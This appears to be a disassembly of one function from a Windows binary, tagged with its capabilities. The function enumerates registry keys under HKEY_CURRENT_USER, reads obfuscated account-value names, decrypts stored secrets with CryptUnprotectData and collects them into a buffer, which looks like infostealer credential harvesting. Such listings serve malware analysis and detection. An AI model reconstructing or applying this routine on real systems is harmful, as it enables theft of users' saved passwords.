Function at 0x411f98
Capabilities:
Encrypt data using dpapi
Query or enumerate registry key

Disassembly:
sub esp, 0xd7c
mov dword [esp + 0xd54], 0
mov dword [esp + 0xd50], 0
mov dword [esp + 0xd6c], 0
mov dword [esp + 0xd60], 0
mov dword [esp + 0xd68], 0
mov byte [esp + 0xd66], 0
mov dword [esp + 0x48], 0x400
lea eax, [esp + 0xd5c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [esp + 0xd80]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x41277c
jmp 0x41270a
add dword [esp + 0xd68], 1
lea eax, [esp + 0x950]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xd80]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41f99a
mov dword [esp + 4], 0x400
lea eax, [esp + 0x550]
mov dword [esp], eax
call fcn.00419fa8
lea eax, [esp + 0xd58]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [esp + 0x550]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x412702
mov byte [esp + 0xd67], 0
mov byte [esp + 0xd66], 0
mov dword [esp], str.jlC4i
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x350]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x4126f0
mov dword [esp], str.9T9N_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x4121ba
mov dword [esp], str.9T9N_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.9T9N_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 1
jmp 0x4124d1
mov dword [esp], str.XFD9_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412281
mov dword [esp], str.XFD9_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.XFD9_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 2
jmp 0x4124d1
mov dword [esp], str._qq9_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412348
mov dword [esp], str._qq9_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str._qq9_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 3
jmp 0x4124d1
mov dword [esp], str.MFq9_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x41240f
mov dword [esp], str.MFq9_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.MFq9_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 4
jmp 0x4124d1
mov dword [esp], str.jDM_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x4124d1
mov dword [esp], str.jDM_Md02d0_urm
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.jDM_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 5
cmp byte [esp + 0xd66], 0
je 0x412579
movzx eax, byte [esp + 0x150]
cmp al, 2
jne 0x412579
mov eax, dword [esp + 0x4c]
sub eax, 1
mov dword [esp + 0x40], eax
lea eax, [esp + 0x150]
add eax, 1
mov dword [esp + 0x44], eax
lea eax, [esp + 0x38]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [esp + 0x40]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x412579
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x150]
mov dword [esp], eax
call fcn.0041a5e1
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
cmp byte [esp + 0xd67], 0
je 0x4126f0
movzx eax, byte [esp + 0xd67]
lea edx, [esp + 0x150]
mov dword [esp + 0x1c], edx
lea edx, [esp + 0x450]
mov dword [esp + 0x18], edx
lea edx, [esp + 0x350]
mov dword [esp + 0x14], edx
lea edx, [esp + 0x50]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_S_a_S_a_S_a_S_b_b_b_b
lea eax, [esp + 0xd54]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0xd60], eax
cmp dword [esp + 0xd60], 0xffffffff
je 0x41263e
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0xd60]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xd54]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xd6c]
mov dword [esp + 4], eax
lea eax, [esp + 0xd50]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0xd50], eax
mov eax, dword [esp + 0xd60]
add dword [esp + 0xd6c], eax
jmp 0x4126f0
movzx eax, byte [esp + 0xd67]
lea edx, [esp + 0x150]
mov dword [esp + 0x1c], edx
lea edx, [esp + 0x450]
mov dword [esp + 0x18], edx
lea edx, [esp + 0x350]
mov dword [esp + 0x14], edx
lea edx, [esp + 0x50]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_s_a_s_a_s_a_S_b_b_b_b
lea eax, [esp + 0xd54]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0xd60], eax
cmp dword [esp + 0xd60], 0xffffffff
je 0x4126f0
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0xd60]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xd54]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xd6c]
mov dword [esp + 4], eax
lea eax, [esp + 0xd50]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0xd50], eax
mov eax, dword [esp + 0xd60]
add dword [esp + 0xd6c], eax
mov eax, dword [esp + 0xd58]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp + 0x48], 0x400
mov eax, dword [esp + 0xd5c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea edx, [esp + 0x48]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x950]
mov dword [esp + 8], edx
mov edx, dword [esp + 0xd68]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
sub esp, 0x20
cmp eax, 0x103
jne 0x412027
mov eax, dword [esp + 0xd5c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
jmp 0x412f19
lea eax, [esp + 0xd5c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x201
mov dword [esp + 8], 0
mov eax, dword [esp + 0xd80]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x412f10
jmp 0x412ea1
add dword [esp + 0xd68], 1
lea eax, [esp + 0x950]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xd80]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41f99a
mov dword [esp + 4], 0x400
lea eax, [esp + 0x550]
mov dword [esp], eax
call fcn.00419fa8
lea eax, [esp + 0xd58]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf023f
mov dword [esp + 8], 0
lea eax, [esp + 0x550]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x412e99
mov byte [esp + 0xd67], 0
mov byte [esp + 0xd66], 0
mov dword [esp], str.jlC4i
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x350]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412e87
mov dword [esp], str.9T9N_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412951
mov dword [esp], str.9T9N_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.9T9N_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 1
jmp 0x412c68
mov dword [esp], str.XFD9_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412a18
mov dword [esp], str.XFD9_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.XFD9_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 2
jmp 0x412c68
mov dword [esp], str._qq9_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412adf
mov dword [esp], str._qq9_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str._qq9_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 3
jmp 0x412c68
mov dword [esp], str.MFq9_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412ba6
mov dword [esp], str.MFq9_Md02d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.MFq9_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 4
jmp 0x412c68
mov dword [esp], str.jDM_u6d0
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x450]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
test al, al
je 0x412c68
mov dword [esp], str.jDM_Md02d0_urm
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x100
lea ecx, [esp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov dword [esp], str.jDM_9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0xd58]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x200
lea ecx, [esp + 0x150]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00411d55
mov byte [esp + 0xd66], al
mov byte [esp + 0xd67], 5
cmp byte [esp + 0xd66], 0
je 0x412d10
movzx eax, byte [esp + 0x150]
cmp al, 2
jne 0x412d10
mov eax, dword [esp + 0x4c]
sub eax, 1
mov dword [esp + 0x30], eax
lea eax, [esp + 0x150]
add eax, 1
mov dword [esp + 0x34], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [esp + 0x30]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x412d10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x150]
mov dword [esp], eax
call fcn.0041a5e1
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
cmp byte [esp + 0xd67], 0
je 0x412e87
movzx eax, byte [esp + 0xd67]
lea edx, [esp + 0x150]
mov dword [esp + 0x1c], edx
lea edx, [esp + 0x450]
mov dword [esp + 0x18], edx
lea edx, [esp + 0x350]
mov dword [esp + 0x14], edx
lea edx, [esp + 0x50]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_S_a_S_a_S_a_S_b_b_b_b
lea eax, [esp + 0xd54]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0xd60], eax
cmp dword [esp + 0xd60], 0xffffffff
je 0x412dd5
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0xd60]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xd54]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xd6c]
mov dword [esp + 4], eax
lea eax, [esp + 0xd50]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0xd50], eax
mov eax, dword [esp + 0xd60]
add dword [esp + 0xd6c], eax
jmp 0x412e87
movzx eax, byte [esp + 0xd67]
lea edx, [esp + 0x150]
mov dword [esp + 0x1c], edx
lea edx, [esp + 0x450]
mov dword [esp + 0x18], edx
lea edx, [esp + 0x350]
mov dword [esp + 0x14], edx
lea edx, [esp + 0x50]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_s_a_s_a_s_a_S_b_b_b_b
lea eax, [esp + 0xd54]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0xd60], eax
cmp dword [esp + 0xd60], 0xffffffff
je 0x412e87
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0xd60]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xd54]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xd6c]
mov dword [esp + 4], eax
lea eax, [esp + 0xd50]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0xd50], eax
mov eax, dword [esp + 0xd60]
add dword [esp + 0xd6c], eax
mov eax, dword [esp + 0xd58]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp + 0x48], 0x400
mov eax, dword [esp + 0xd5c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea edx, [esp + 0x48]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x950]
mov dword [esp + 8], edx
mov edx, dword [esp + 0xd68]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
sub esp, 0x20
cmp eax, 0x103
jne 0x4127be
mov eax, dword [esp + 0xd5c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
jmp 0x412f19
mov eax, dword [esp + 0xd50]
jmp 0x412f20
mov eax, dword [esp + 0xd50]
add esp, 0xd7c
ret